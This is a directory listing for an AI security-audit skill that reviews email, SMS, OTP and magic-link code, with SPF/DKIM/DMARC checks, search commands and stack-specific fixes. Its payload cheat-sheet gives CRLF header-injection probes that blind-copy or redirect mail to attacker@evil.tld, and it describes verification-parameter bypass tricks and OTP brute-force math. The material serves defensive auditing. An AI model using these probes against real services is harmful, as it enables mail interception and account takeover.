SuperAPI AI Directory

aegis-email-sms

Security & auditing

View repository

Updated 10-15 17:19

About this skill

Scope & Objectives

Objective

Audit every code path and repository artifact that sends mail or SMS, receives mail or ESP webhooks, mints or consumes email-verification tokens, magic links, or OTP codes, and every flow that changes a user's email address or phone number. For each finding produce: file:line evidence of the flawed construction, a static-first reproduction recipe, a severity with rationale, and a framework-correct fix. DNS-level conclusions drawn from repo artifacts must be labeled as artifact-based; live DNS confirmation is marked requires-network.

In Scope

Class Typical finding Primary CWE
Outbound spoofing protection No SPF record artifact, +all/?all terminator, include-chain bloat past 10 lookups, no DKIM selector rotation evidence, DMARC absent or frozen at p=none forever on auth-email domains CWE-345
Sending-infrastructure markers SMTP/provider credentials in code or config (pointer -> SECRETS module), user-controlled display-From enabling phishing-via-your-product, Reply-To hijack in notifications CWE-93
Notification-content injection CR/LF smuggled into To/Cc/Bcc/Subject/custom headers via user input; header splitting adds recipients or injects a body CWE-93
Inbound email processing Attachment parsers fed untrusted MIME (pointers -> FILE / DESER modules), auto-link-clicker/bot processors fetching extracted links (SSRF -> SSRF module), stale parsing libraries, unsigned inbound ESP webhooks consumed as trusted CWE-345
Verification & magic-link flows Predictable verification tokens, GET endpoints with state-changing side effects (-> API module), feature-gating gaps for unverified accounts, magic-link tokens failing reset-grade hygiene (-> AUTHN module) CWE-640
OTP/SMS authentication Weak RNG code generation, missing single-use/expiry/attempt-cap matrix, number-enumeration response oracles, SMS pumping fraud exposure, SIM-swap exposure honesty CWE-307, CWE-203
Contact-change UX traps OTP or token delivered in URL query strings that land in logs/history, resend-button flood, old contact released before new contact verified CWE-640

Out of Scope (cross-references)

  • Password-reset mechanics and MFA-factor hierarchy depth -> AUTHN module. This module flags only flow-specific deltas where email/SMS delivery is the transport.
  • Hardcoded SMTP/API credential inventory technique -> SECRETS module. Flag presence here with a one-line pointer only.
  • Attachment parser deep-dive (file-type confusion, archive bombs) -> FILE and DESER modules. Point at the sink here.
  • Link-fetch SSRF mechanics and allowlist design -> SSRF module. Point at extraction-to-fetch flow here.
  • General request-parameter abuse, throttle-depth metrics, GET side-effect semantics -> API module.
  • Generic injection classes beyond header context (SQLi, template SSTI) -> INJ module; XSS-in-browser depth -> WEB module. HTML-email phishing/layout risk is covered here only.
  • CSPRNG primitive selection rationale across languages -> CRYPTO module; this module checks the call site near OTP/token generation.

Operating Assumptions

Read-only access to the repository; no running instance is guaranteed. The sending domain's live DNS is usually outside the repo: treat Terraform/Ansible/DNS-zone files, runbooks, and docs as evidence and mark every DNS conclusion requires-network until confirmed with dig. Dynamic tests are permissible only against explicitly authorized environments and mailboxes you own. Static confirmation of source-to-sink flow is sufficient evidence for reporting.

Prerequisites & Vocabulary

Zero-background primer: the terms this module uses, one line each. Deeper plain-language explanations for every class live in the repository GUIDE.md glossary.

  • SPF: DNS record listing which servers may send mail claiming to be from your domain
  • DKIM: cryptographic signature attached to outgoing mail, published and checked via DNS
  • DMARC: DNS policy telling receivers what to do when those checks fail (monitor, spam-folder, reject)
  • header injection: smuggling line breaks plus new recipients or headers through user input into mail fields
  • OTP: a short one-time code proving control of an email address or phone number
  • SMS pumping: fraud that triggers texts to premium numbers the attacker profits from
  • entropy: how unpredictable a code or token is; six digits means one million possibilities
  • taint flow / source→sink: path untrusted data travels from entry point to dangerous function
  • finding status: Confirmed > Probable > Needs-Review; evidence rules in templates/finding-report.md

Mental Model

Email Trust Is Three Independent Records Plus One Glue Rule

Outbound spoofing protection is decided by three DNS TXT records published for the sending domain, audited here from whatever artifacts the repo exposes:

  1. SPF (TXT at the apex, value starts v=spf1) lists which servers may send using the domain in the envelope sender (Return-Path / MAIL FROM). The final all mechanism carries the policy strength:
    • +all: pass everything — record exists but protects nothing; worst shape.
    • ?all: neutral — no assertion; equivalent to no enforcement signal.
    • ~all: softfail — receivers may mark suspicious; common during rollout.
    • -all: hardfail — receivers should reject non-listed sources; the target end state. A bare v=spf1 ... -all with no other mechanisms permits nobody, silently blackholing legitimate senders. Mechanisms that require DNS queries (include:, a, mx, ptr, exists:, and a redirect= modifier) count against a hard limit of 10 lookups per evaluation, including queries triggered inside nested includes. Bloat past the limit makes the record evaluate to a permanent error, which receivers typically treat as fail — legitimate mail breaks even though the record "exists".
  2. DKIM (TXT at <selector>._domainkey.<domain>, containing v=DKIM1; k=rsa; p=<base64 key material>) attaches a cryptographic signature over message headers/body under the signing domain d=. Rotation means publishing a new selector while signing moves to it and the old selector stays resolvable during transition. In IaC this appears as route53_record-style resources named selector._domainkey; multiple coexisting selectors are normal, an absence of any selector artifact for a self-built sender is not.
  3. DMARC (TXT at _dmarc.<domain>, e.g. v=DMARC1; p=none; rua=mailto:dmarc@example.com) tells receivers what to do when neither authenticated identity aligns with the visible From header, and where aggregate reports go. Policy progression discipline: p=none (monitor, collect rua reports) time-boxed -> p=quarantine (spam-folder) -> p=reject. A domain stuck at p=none indefinitely has monitoring theater, not enforcement.

The glue rule is alignment: DMARC passes if SPF's checked domain (envelope sender) or DKIM's d= domain aligns with the RFC5322 From domain the recipient sees. Under relaxed alignment (the default) the organizational domains must match — mail.example.com aligns with example.com. Under strict alignment the domains must be byte-identical. Do not over-claim: a message can carry valid SPF and valid DKIM and still fail DMARC when neither aligns with From; conversely one aligned pass is enough. Keep this conceptual framing exact when writing findings.

The App Is Either a Sender, a Receiver, or Both

Sender-side risk concentrates in what the application lets influence: credentials (SECRETS), the choice between direct SMTP and provider API, the From/Reply-To construction, and header/template assembly of content. Receiver-side risk concentrates in trust decisions: webhook handlers that act before verifying, parsers fed raw MIME, and bots that fetch URLs found in attacker-supplied mail.

Verification Flows Are Authentication Without a Password

Email verification, magic links, and OTP are all proof-of-possession schemes: the secret travels over a channel the user is assumed to control. Security reduces to four properties you read directly from code:

  • Entropy: how large is the space? (6 digits = 10^6 = 1,000,000.)
  • Window: how long does the secret live?
  • Single-use: is it atomically consumed?
  • Attempts: how many guesses before invalidation?

A flaw in any property converts to an authentication bypass; the math and lockout interplay are computed explicitly in this module, not hand-waved.

Two Economic Attack Models Frame SMS

Enumeration uses response differences ("SMS sent" vs "number invalid") as a yes/no oracle over your user base. SMS pumping abuses the fact that every outbound SMS costs real money: an attacker triggers messages to premium/range numbers they share revenue on. Controls are format validation (E.164 strictness), per-user/per-day caps, blocked-range lists, and cost alerts at the provider — audit all four.

What To Check

Work through the seven groups in order; each check names its evidence source and its fix direction (fix detail in Remediation).

A. Outbound Spoofing Protection Artifacts

  1. Locate every sending domain the app uses (From domains, bounce domains, provider-managed subdomains) from config, docs, and IaC.
  2. For each, find SPF evidence: a TXT record artifact starting v=spf1. If absent from artifacts, flag "no SPF evidence in repo — confirm requires-network", not a confirmed miss.
  3. Read the terminator: +all or ?all = finding (protection void). ~all = acceptable only if DMARC enforcement compensates or rollout is documented and time-boxed. -all = target state.
  4. Count lookup-bearing mechanisms (include:, a, mx, ptr, exists:, plus redirect=), including those inside nested includes, against the 10-lookup limit; flag records near or over budget as fragile/broken.
  5. Find DKIM selector artifacts (<selector>._domainkey TXT shapes); for self-built senders with none, flag missing signing evidence. Check for rotation traces (multiple selectors, dated names like s2024a._domainkey) and stale-signing risk when old selectors linger forever after key retirement.
  6. Find DMARC evidence at _dmarc: policy present? Progression sane? A permanent p=none with no documented rollout plan is a Medium-class finding on any domain used for authentication email. Confirm rua= aggregate reporting is configured during monitoring phases.
  7. Check alignment conceptually: if DKIM signs a provider domain (d=provider.example) while From shows the customer domain and no custom Return-Path exists, alignment may fail — note it as a deliverability/spoofing-risk observation to verify with live samples.

B. Sending-Infrastructure Markers

  1. Grep for SMTP/provider credentials in code and config; apply SECRETS module rules — one-line pointer in the report, do not duplicate its inventory technique.
  2. Note direct-send vs provider-API choice: raw SMTP sockets or local MTA relay from app servers implies self-managed reputation and auth; provider SDK/API implies provider-side handling but introduces API-key blast radius. Record which model each flow uses.
  3. Trace the From header construction: can users set display name or full From? If yes → phishing-via-your-product: attacker makes your trusted sender address deliver their phishing text. Flag user-controlled From/display-name as High on notification systems.
  4. Trace Reply-To: notification systems that copy a user-supplied Reply-To into outbound mail let attackers aim victim replies at themselves (support-desk interception, invoice fraud). Flag unvalidated Reply-To passthrough.

C. Inbound Email Processing Surface

  1. Determine whether the app receives mail at all (inbound parse webhooks, support-ticket intake, mail-to-ticket bots). If not, mark this group N/A explicitly.
  2. Where inbound MIME is parsed, point attachment parsing at FILE/DESER modules for deep review; here verify only that parsers are actively maintained versions — email-parsing libraries have a history of parser-confusion bugs, so pin-and-update discipline matters; flag frozen ancient parser deps.
  3. Find auto-link clickers/bot processors that fetch URLs extracted from mail bodies; trace extraction -> fetch and hand off to SSRF module with file:line pointers.
  4. Inbound ESP webhooks: locate handlers; check whether signature verification exists before trust. Provider schemes are generically HMAC-based (shared secret, signature in a request header, usually over the raw body, often with a timestamp enabling replay-window checks) — never assume specifics; audit what the code does: no verification = CWE-345 finding; verification without replay window = note; comparison via == instead of constant-time compare = CRYPTO-module pointer.
  5. Verify webhook handlers do not act on unauthenticated payloads that mutate state (mark ticket resolved, unsubscribe user, trigger refunds).

D. Verification & Magic-Link Flows

  1. Read token minting: what material feeds the token? User ID, timestamp, sequential counter, short hash of known data = predictable = bypass. Expect ≥128 bits from a CSPRNG (cross-check CRYPTO module).
  2. Check consumption semantics: single-use atomic delete/mark-used? Reusable tokens across multiple clicks extend exposure indefinitely.
  3. Check expiry: verification links valid for days/months are reset-grade hygiene failures (mirror AUTHN thresholds).
  4. Map feature gating for unverified accounts: build the endpoint x gate matrix (technique in Exploitation). Sensitive actions reachable pre-verification = finding; severity scales with action sensitivity (data export, PII change, invite-sending, payment).
  5. Flag GET endpoints performing verification state changes (verify-on-clickout) — pointer -> API module for method-semantics depth; here flag the pattern and CSRF exposure.
  6. Magic-link deltas vs password-reset hygiene (-> AUTHN): link entropy/expiry/single-use mirror reset-token rules; additionally flag links whose full secret sits in the URL query string where Referer leakage and log capture apply, and auto-login links that skip session re-binding.

E. Notification-Content Injection

  1. Trace every To/Cc/Bcc/Subject/Reply-To/custom-header field back to its input; any path from user input without CR/LF stripping is a header-injection sink (sink table in Taint Tracing).
  2. Check template rendering of user content into HTML email bodies: limited JS execution in most clients, but phishing/layout attacks are real — pointer -> WEB module for XSS-in-browser framing; here assess impersonation/layout manipulation inside your legitimate-looking mail.

F. OTP/SMS Authentication

  1. Read code generation: RNG source (CSPRNG vs Math.random/rand() — cross-check CRYPTO module), length, charset; compute the real space (6 digits = 10^6).
  2. Extract time-window constants and single-use consumption; fill the matrix (entropy/window/single-use/attempts) per flow.
  3. Compute rate-limiting math: attempts-needed-vs-lockout interplay (calculator description in Patterns & Signatures); missing attempt caps on 6-digit codes = brute-forceable at scale.
  4. Audit SMS pumping controls: E.164 strictness of number validation, per-user/per-day send caps, blocked-range list support, cost-alert wiring at the provider (generic — enable billing/cost webhooks where offered).
  5. Test uniform-response rule statically: same response body/status for "sent" and "invalid number"; differing responses = enumeration oracle (CWE-203).
  6. State SIM-swap honesty in findings: SMS-OTP is inherently weaker than TOTP/app-based factors; recommend factor upgrade path rather than pretending controls close the gap — hierarchy guidance -> AUTHN module.
  7. Check OTP values against logging sinks (request logs, debug logs, analytics events) — SECRETS module logging rules apply; an OTP in a log line is a credential leak.

G. Contact-Change & Verification UX Traps

  1. Flag OTP/token delivery in URL query parameters of clickable links (auto-fillable codes land in browser history, server access logs, proxy logs). Prefer POST-form entry or single-use short-path links.
  2. Check resend-button flood control (per-recipient cooldown + daily cap shared with the pumping caps).
  3. Build the contact-change logic table: does changing email/phone require verifying the NEW contact before releasing the OLD? Old released early = recovery hijack (CWE-640); both active simultaneously without re-proof = account-takeover chain enabler.

H. BEC/AiTM Awareness Surface

  1. Executive display-name spoofing: external lookalike From display names and lookalike domains defeat SPF-blind recipients; flag absence of impersonation-warning/banner guidance on inbound mail.
  2. Adversary-in-the-middle phish kits proxy real login pages and harvest session cookies, defeating basic OTP/TOTP MFA — this drives the WebAuthn/FIDO2 recommendation (factor hierarchy -> AUTHN module).
  3. QR-code phishing ("quishing"): malicious QR images in emails bypass URL-scanning mail filters; include in awareness and gateway-policy notes.
  4. Malicious auto-forwarding rules on compromised mailboxes: post-compromise hygiene check — flag absence of forwarding-rule audit/alerting guidance for hosted mailboxes.
  5. Payment-detail change requests (bank account, payout destination) verified out-of-band via a known channel, plus dual approval — BEC is a process failure before it is a technical one.
  6. Domain lockdown for non-sending properties: every parked/auxiliary domain you own publishes v=spf1 -all, DMARC p=reject with rua, and a null MX — silence is the spoofing target.
  7. Publish MTA-STS and TLS-RPT records alongside SPF/DKIM/DMARC: enforce SMTP TLS and gain visibility into failing/intercepted mail paths.

Master Flow Table

Flow Flaw Detection marker Fix
Outbound SPF No record / +all / ?all terminator TF/DNS artifacts: records = ["v=spf1 +all"] or apex TXT missing while docs name a sending domain Publish scoped v=spf1 include:... -all; stage via ~all
Outbound SPF Lookup bloat >10 queries Long include: chains, nested includes, mx a ptr stacked Flatten includes, drop ptr, use IP ranges, consolidate
Outbound DKIM No selector artifact; stale selectors No <selector>._domainkey resources for self-built sender; orphaned keys Sign with managed selector; rotate; retire old keys after transition window
Outbound DMARC Absent, or permanent p=none No _dmarc record; _dmarc ... p=none with no rollout doc Stage p=none+rua (time-boxed) -> quarantine -> reject
Notifications User-controlled display-From/Reply-To from: req.body.name <noreply@...> style concatenation Server-fixed From; validated allowlisted Reply-To; strip CR/LF everywhere
Notifications Header injection via To/Cc/Subject CR/LF reachable from input into header params of send calls Strip [\r\n] at boundary; validate addresses with stack parser
Inbound webhooks Unsigned payload acted upon Handler reads JSON body before any HMAC check; no timestamp/replay window Verify-before-trust: constant-time HMAC over raw body + replay window
Inbound processing Stale/stale-pinned MIME parsers Ancient pinned parser dep, no update cadence Keep parsers updated; treat parser-confusion advisories as patch-now
Email verification Predictable token; reusable token; no expiry Token minted from id/timestamp; lookup without consume; no TTL column read CSPRNG ≥128-bit; atomic consume; ≤24h TTL (reset-grade)
Feature gating Sensitive features work pre-verification Route matrix shows export/PII-change reachable with verified=false Gate sensitive routes on verified state server-side
Magic links Reset-grade violations; URL-borne secret Link contains full token in query string; long-lived; multi-click Mirror AUTHN reset rules; POST-form delivery where feasible
OTP generation Weak RNG, no single-use, long window Math.random near otp; code not deleted post-check; 24h windows CSPRNG; atomic consume; ~5-min expiry; 5-attempt cap then invalidate
SMS sending Pumping exposure; enumeration oracle No E.164 validation; no caps; distinct responses for invalid numbers E.164 anchor regex; per-user/day caps; range blocklist; uniform errors
Contact change Old contact released before new verified Update commits immediately; no re-verification step Verify NEW first; only then retire OLD; log both

Where To Look

Search order matters: infrastructure artifacts first (they establish which domains matter), then call sites, then flows. In the command column, \| is markdown-table escaping — replace with a plain | when running under ripgrep (rg alternation is unescaped |).

Target Why Sample glob / command
Terraform/Pulumi/Ansible DNS zones SPF/DKIM/DMARC record artifacts rg -n --hidden -g '*.tf' -g '*.yaml' 'v=spf1|_domainkey|_dmarc' .
Route53/Cloud DNS record blocks Canonical shapes for the three records rg -n -g '*.tf' 'aws_route53_record' -A8 then filter type\s*=\s*"TXT"
Mail config files/env templates Sending domain, SMTP host, provider choice rg -n -g '*.env*' -g '*.yml' -g '*.ini' 'SMTP_|MAIL_|EMAIL_|DKIM' .
Send-call sites across stacks Every outbound message origin `rg -n '(?i)(send_mail(|\bmail(|sendEmail|send_email|sendMail(
nodemailer usage Transport object field handling rg -n 'createTransport|nodemailer' -g '*.{js,ts}' .
SES/SESv2 SDK calls Destination/Source construction rg -n '(?i)(sesv?|simpleemail).{0,40}(sendEmail|sendRawEmail|send_)' -g '*.{js,ts,py,java,go}' .
Other providers Full sender inventory rg -n '(?i)sendgrid|mailgun|postmark|sparkpost|resend|smtp' -g '!node_modules' .
OTP/code generation Entropy + RNG source rg -n '(?i)(otp|one[_-]?time[_-]?code|verification[_-]?code|generate[_-]?code)' . then inspect neighbors for randomness
Random near code vars CSPRNG vs PRNG cross-check rg -n '(Math\.random|random\.randint|rand\(\)|mt_rand)' -g '*.{js,py,php}' . paired with crypto.randomInt|secrets\. hits
Verification/magic-link minting Predictability review rg -n '(?i)(verify|magic|confirm)[_-]?(token|link)|(signToken|makeToken|tokenFor)' .
SMS SDK invocations Number-source tracing rg -n '(?i)(twilio|vonage|messagebird|plivo|sns.*publish|sendSms|send_sms)' .
Webhook receivers (inbound mail) Verify-before-trust audit rg -n '(?i)(webhook|inbound[-_]?mail|mailgun/routes|ses/notification|postback)' -g '*.{js,py,rb,go,java}' .
Email templates User-content rendering into HTML mail ls **/templates/**/email* **/mailers/** **/emails/** 2>/dev/null
Verification controllers/gating Unverified-feature matrix inputs rg -n '(?i)is_verified|email_verified|verified_at|phone_verified' .
Docs/runbooks Rollout phase evidence for DMARC exceptions rg -n -i 'dmarc|spf|dkim' docs/ *.md README* 2>/dev/null

Prioritize: auth-email sending domain config > verification/OTP code > notification From/Reply-To construction > inbound webhooks > template content.

Patterns & Signatures

All regexes are ripgrep-compatible (PCRE2 where noted with -P). Run from repo root; exclude vendor trees (-g '!node_modules' -g '!vendor').

Signature Set

Same escaping rule as above: \| in a cell becomes | at the command line.

# Hunt Regex Notes
S1 PHP native send (?i)\bmail\s*\( Third arg = additional headers; CR/LF there is the classic sink
S2 Generic senders (?i)(send_mail\(|sendEmail\(|send_email\(|sendMail\(\) Then trace each header-bound argument
S3 nodemailer createTransport\(|transporter\.sendMail|require\(['"]nodemailer['"]\) Inspect options object fields to/cc/bcc/subject/from/replyTo
S4 SES SDK (?i)(sendEmail|sendRawEmail|send_email) near \bsesv?\d?\b Check Destination/Source/ConfigurationSetName construction
S5 Other ESPs (?i)sendgrid|mailgun|postmark|sparkpost Same field-trace discipline
S6 SMS sends (?i)(twilio|vonage|messagebird|plivo|snsclient|sendsms|send_sms) Trace the To number to its source
S7 OTP generation (?i)(otp|verification_code|one_time_code|gen_code)[^;\n]{0,120} Read ±10 lines around each hit for RNG calls
S8 PRNG near code vars Math\.random\(|random\.randint|mt_rand\(|\brand\( within 5 lines of an otp/code variable (-P, use context flags or manual read) Cross-check against CRYPTO module CSPRNG list
S9 CSPRNG presence (contrast set) crypto\.randomInt|randomBytes|secrets\.(randbelow|token_hex)|SecureRandom|crypto/rand Confirms correct source when present
S10 Verification-token creation (?i)(verify|magic|confirm)[_-]?(token|link)|(urlsafe_token|its\.sign|jwt\.sign) JWT-signed verification tokens need alg/expiry review too
S11 Header fields from input (?i)(to|cc|bcc|subject|reply.?to)['"]?\s*[:=]\s*[^;\n]*(req\.|params\[|body\.|request\.|userInput|\$_) Candidate injection sinks
S12 SPF/DKIM/DMARC artifacts v=spf1|_domainkey|_dmarc|DMARC1 in tf/yaml/json/md Artifact-based DNS evidence
S13 Gating attributes (?i)is_verified|email_verified_at|verified_at|phone_verified|@Verified Feed the gating matrix
S14 Webhook receivers (?i)(webhook|inbound_mail|mail_route|notification_callback) Verify-before-trust audit entry points

IaC Config Shapes

# VULNERABLE — SPF permits the world
resource "aws_route53_record" "spf" {
  zone_id = aws_route53_zone.primary.zone_id
  name    = "example.com."
  type    = "TXT"
  ttl     = 3600
  records = ["v=spf1 +all"]
}

# VULNERABLE — DMARC absent entirely, or monitoring forever:
resource "aws_route53_record" "dmarc" {
  zone_id = aws_route53_zone.primary.zone_id
  name    = "_dmarc.example.com."
  type    = "TXT"
  ttl     = 3600
  records = ["v=DMARC1; p=none"]   # no rua=, no progression plan -> monitoring theater
}
# FIXED — scoped SPF with hard-fail terminator (lookup budget: include=1, ip4=0)
resource "aws_route53_record" "spf" {
  zone_id = aws_route53_zone.primary.zone_id
  name    = "example.com."
  type    = "TXT"
  ttl     = 3600
  records = ["v=spf1 include:_spf.provider.example ip4:203.0.113.10 -all"]
}

# FIXED — DKIM selector published for the signing key
resource "aws_route53_record" "dkim_sel1" {
  zone_id = aws_route53_zone.primary.zone_id
  name    = "sel1._domainkey.example.com."
  type    = "TXT"
  ttl     = 3600
  records = ["v=DKIM1; k=rsa; p=MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8A..."] # split >255-char strings into adjacent quoted chunks
}

# FIXED — DMARC enforced with reporting (staging variant: p=quarantine; pct=10 first)
resource "aws_route53_record" "dmarc" {
  zone_id = aws_route53_zone.primary.zone_id
  name    = "_dmarc.example.com."
  type    = "TXT"
  ttl     = 3600
  records = ["v=DMARC1; p=reject; rua=mailto:dmarc-reports@example.com"]
}

SPF Lookup-Budget Worked Example

v=spf1 include:_spf.a.example include:_spf.b.example mx a ptr exists:check.example -all
      └─ +1                 └─ +1                        +1(mx) +1(a) +1(ptr) +1(exists)

Direct mechanisms consume 6 queries; if _spf.a.example itself contains two include:s, those nest and add 2 more → total 8 of 10 before any third-party additions. Records at ≥7 are fragile: flag them even when technically compliant.

Payload Cheat-Sheet

Header-injection probes (URL-encoded variants first; raw CR/LF variants second):

Field Payload (encoded) Effect observed
To victim@example.com%0ABcc:%20attacker@evil.tld Blind copy of message to attacker mailbox
To victim@example.com%0d%0aBcc:attacker@evil.tld CRLF pair variant
To victim@example.com%250aBcc:attacker@evil.tld Double-encoded — survives one decode layer
To victim@example.com\nBcc: attacker@evil.tld (raw LF via API body) JSON/API paths skip URL encoding
Subject Hello%0d%0aX-Sent-Via:%20injection-test Custom-header smuggle confirms sink reachability
Subject %0a%0a<p>Phishing body here</p> Blank line starts the body — content injection
Reply-To legit@example.com%0aReply-To:%20attacker@evil.tld Reply redirection

Duplicate-parameter tricks on verification endpoints:

  • GET /verify?token=A&token=B — frameworks differ on first-vs-last-wins and scalar-vs-array coercion; a validator reading occurrence 1 while the consumer reads occurrence 2 yields bypass windows.
  • Mass-assignment attempts alongside token params: ?token=x&verified=true&status=active — observe whether extra keys mutate state.
  • Case/encoding duplicates: ?TOKEN=a&token=b, %54oken=a — parser normalization mismatches.

OTP brute-force pacing calculator description (compute per flow, do not guess):

space S        = charset^length          # 6 digits => 10^6 = 1,000,000
window W       = expiry seconds          # e.g. 300 s
cap A          = max attempts allowed
p(success)     ≈ min(A, requests_possible)/S
requests_possible = request_rate × W     # e.g. 20 rps × 300 s = 6,000 tries

With no attempt cap: 6-digit OTP needs ~500k average guesses; at sustained 50 rps that is under 3 hours inside rolling windows — feasible. With a 5-attempt cap then invalidation: p ≈ 5×10^-6 per issued code — dead end. Report both numbers when caps are absent.

Taint Tracing Guidance

Sources: user profile fields (name, email, phone), form/JSON bodies, query params, CSV/bulk imports, support-ticket content, anything stored by users and later merged into outbound mail.

Propagation patterns to follow: string concatenation/f-strings building header values ("${name} <noreply@x>"), array spreads into transport options, template variables placed into header positions rather than body positions, bulk-import loops feeding send functions, webhook payloads forwarded verbatim into notifications.

Sanitizer recognition: a helper stripping [\r\n] (both orders, both encodings after URL-decode) applied to every header-bound string marks the path clean; validators using stack-native address parsers (strict mode) also mark clean. Absence of either on a user-fed path = candidate finding.

Email-Specific Sink Table

Sink Stack/API Dangerous parameter Note
Native mailer PHP mail($to,$subj,$body,$additional_headers) $additional_headers (and $to, $subject) Classic header-splitting sink; strip CR/LF before any call
CMS wrapper WordPress wp_mail(...) Headers array/string entries Wraps PHP mail/SMTP plugins; same CR/LF discipline
Node transport nodemailer sendMail({from,to,cc,bcc,subject,replyTo,headers}) Any option fed user input Do not rely on library version behavior for newline handling; sanitize at your boundary regardless
Python stdlib smtplib.sendmail(from_addr, to_addrs, msg) Address lists and pre-built msg bytes No sanitization of caller-supplied strings; headers you build are yours
Django django.core.mail.send_mail(subject, ..., recipient_list) / EmailMessage(extra_headers=...) extra_headers values; address list entries Subject newlines are converted to whitespace by Django's mail machinery and recipients go through address sanitization that rejects malformed values — risk concentrates in extra_headers and non-Django paths; still normalize inputs defensively
Java mail MimeMessage.setRecipient/setSubject/addHeader; InternetAddress Raw header strings; leniently parsed addresses Use new InternetAddress(value, true) strict parsing plus .validate(), and pass parsed objects to recipients instead of raw strings
Go net/smtp smtp.SendMail(addr, auth, from, to, msg) Caller-built msg bytes and to slice Library writes what you give it; build addresses through net/mail.ParseAddress and reject errors
Provider SDKs SES Destination/Source, SendGrid personalization, Mailgun messages Source/Destination/To/Reply-To fields Same rule: server-fixed identity, validated recipients, stripped control chars

Webhook taint rule: raw request body remains tainted until an HMAC verification over that exact byte sequence passes (constant-time compare). Any branch that parses or acts pre-verification is fully tainted; treat timestamp absence as replay-window loss, not a blocker finding unless state mutation exists.

Exploitation & Reproduction

Static Procedures

  1. Trace recipient/source fields to user input. For every S1–S6 hit: identify each header-bound argument; walk backwards to its origin; classify as server-fixed, admin-set, or user-controlled. Record file:line chains. Expected observable: a table of send calls x input classification; findings where user-controlled values reach header positions without CR/LF stripping.
  2. Check verification-gating coverage across sensitive endpoints. Enumerate routes (rg -n '@(get|post|route|app\.(get|post))|path\(|router\.'); list sensitive actions (data export, PII/profile change, invite/referral sending, payment methods, deletion). For each, locate the middleware/decorator/branch checking verification state (S13 markers). Build the endpoint x gate matrix. Expected observable: rows with no gate reference = pre-verification-reachable actions; verify by reading handler code, not just decorator presence.
  3. Read the OTP generator for RNG source + window constants. At each S7 hit: identify the randomness call (S8 vs S9), length/charset → compute space, find expiry constants, consumption logic (delete/mark-used in same transaction?), attempt counter lifecycle (per-code? per-account? reset on resend?). Expected observable: the filled matrix entropy/window/single-use/attempts with file:line for each cell.
  4. Read verification-token minting. At S10 hits: determine token material (CSPRNG? JWT? hash of id+timestamp?). If JWT-signed: check alg, expiry claim, and secret source pointer -> SECRETS. Predictability test: can you reconstruct a plausible token from public data (user id + registration timestamp)? Expected observable: minting recipe and a yes/no predictability verdict.
  5. Audit webhook handlers for verify-before-trust. At S14 hits: locate signature-check code relative to body parse/action; check raw-body usage (HMAC over parsed-and-reserialized JSON fails silently against provider signatures — flag it), constant-time comparison, timestamp/replay window. Expected observable: order-of-operations diagram per handler with pass/fail.

Dynamic Tests (Authorized Environments Only)

  1. Send-to-self header-injection probe. Against an authorized staging instance, register an account whose display name or profile fields carry %0ABcc:%20your-owned-mailbox@evil.tld style payloads (use a mailbox you own), then trigger any notification to yourself. Inspect the received message's full headers in your mailbox. Expected observables: injection confirmed = smuggled Bcc: or custom header present in delivered mail, or delivery failure/bounce mentioning malformed headers; clean = payload appears only inside the body or display name verbatim.
  2. Uniform-response diff testing. Submit "send OTP" for your real number/email vs an obviously invalid one vs a random valid-format-but-unregistered one; compare status codes, bodies, byte counts, and timing. Expected observables: enumeration oracle = distinguishable responses for registered vs unregistered inputs; compliant = identical response shape/status with near-equal timing.
  3. OTP lockout pacing test (~10 attempts). Request a code, submit 10 deliberately wrong codes at a modest pace, recording when throttling or invalidation engages. Expected observables: healthy = attempts rejected past threshold and/or code invalidated before 10; broken = all 10 accepted as wrong answers with no throttle and code still alive.
  4. Resend-flood probe. Hit resend 12 times within the cooldown window. Expected observable: requests beyond cap rejected or delayed; unbounded sends = flood/pumping exposure.
  5. Deliverability smoke test (post-fix, negative test). Send legitimate transactional mail to major-provider inboxes you own after SPF/DKIM/DMARC changes; check inbox placement AND spam folder explicitly — DMARC policy flips affect reputation gradually, so absence of immediate spam-foldering is not proof of safety; re-test over several days. Requires-network.
  6. DNS confirmation. dig +short TXT example.com, dig +short TXT sel1._domainkey.example.com, dig +short TXT _dmarc.example.com. Marked requires-network. Expected observable: record values matching repo artifacts; divergence between artifact and live DNS is itself a finding (drift).

Remediation

Staged SPF/DMARC Rollout Plan

  1. Inventory every sender of the domain first: app servers, billing/invoicing systems, CRM, helpdesk, marketing platforms, monitoring alerts. Over-strict -all before inventory breaks third-party senders (billing dunning mail silently vanishing is the classic regression).
  2. Publish scoped SPF listing exactly those sources; start terminator ~all. v=spf1 include:_spf.provider.example ip4:203.0.113.10 -all
  3. Deploy DKIM signing per sender; publish each selector; rotate keys on a schedule; keep old selectors resolvable through the transition window, then retire.
  4. DMARC monitor phase (time-boxed, documented): v=DMARC1; p=none; rua=mailto:dmarc-reports@example.com — consume aggregate reports until legit-source inventory stabilizes (30–90 days typical).
  5. Enforcement ramp: v=DMARC1; p=quarantine; rua=mailto:dmarc-reports@example.com; pct=10 then raise pct to 100; finally p=reject. Keep rua permanently. Add sp= for subdomain policy when subdomains send.
  6. Re-run the lookup-budget count after every include addition; flatten when ≥7 queries.

Header-Sanitization Patterns Per Stack

// Node/JS — apply to EVERY string bound for from/to/cc/bcc/subject/replyTo/headers
function stripCrLf(s) { return String(s ?? '').replace(/[\r\n]+/g, ' ').trim(); }
# Python — stack-agnostic helper
def strip_crlf(value: str) -> str:
    return "".join(ch for ch in value if ch not in "\r\n").strip()
// PHP
function strip_crlf(string $s): string { return trim(preg_replace('/[\r\n]+/', ' ', $s)); }
// Java — prefer strict parsing over manual strips, then both
InternetAddress addr = new InternetAddress(userInput, true); // strict=true throws on CR/LF/control chars
addr.validate();
// Go
if _, err := net/mail.ParseAddress(userInput); err != nil { return err } // reject; never hand-build headers from raw user strings

Rule regardless of stack: server-fixed From identity; validated recipients; stripped control characters on every remaining header-bound value; user content confined to body/template positions.

OTP Design Spec Block

  • Generation: CSPRNG only — crypto.randomInt(0, 1000000) padded to 6 digits (Node), secrets.randbelow(1_000_000) zero-padded (Python), SecureRandom.nextInt(1_000_000) zero-padded (Java). No Math.random, no time-derived codes.
  • Expiry: ~5 minutes (sane range 3–10); enforce server-side at check time, not via cleanup jobs alone.
  • Single-use: consume atomically — delete the row or flip used-flag inside the same transaction that validates; concurrent submissions must not double-spend one code.
  • Attempts: cap at 5 wrong entries per code, then invalidate the code; require fresh request. Cap resends per recipient per window too.
  • Errors: uniform response for wrong/expired/unknown codes ("Invalid or expired code"); never reveal which.
  • Storage: store hashed like reset tokens where feasible; never log codes (-> SECRETS module logging rules).
